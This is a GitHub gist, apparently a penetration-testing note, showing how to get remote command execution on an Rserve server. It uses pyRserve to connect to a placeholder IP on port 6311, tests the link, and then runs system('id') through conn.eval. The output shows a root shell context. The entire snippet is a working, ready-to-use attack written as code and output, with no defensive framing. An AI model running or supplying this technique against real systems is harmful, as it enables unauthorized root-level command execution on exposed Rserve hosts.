Created
August 19, 2020 17:06
-
-
Save csandker/c92382f1ff7d9b1a0bb100b3fece46ea to your computer and use it in GitHub Desktop.
Revisions
-
csandker created this gist
Aug 19, 2020 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,12 @@ ## Install pyRserve $:> pip install pyRserve $:> python3 >>> conn = pyRserve.connect('<IP>', 6311) >>> conn.eval("1+2") ## Testing the connection 3.0 >>> conn.eval('t1 <- try(system("id", intern = TRUE))') ## Command Exec 'uid=0(root) gid=0(root) groups=0(root)' >>> con.close() ## pyRserve Docu ## https://pythonhosted.org/pyRserve/manual.html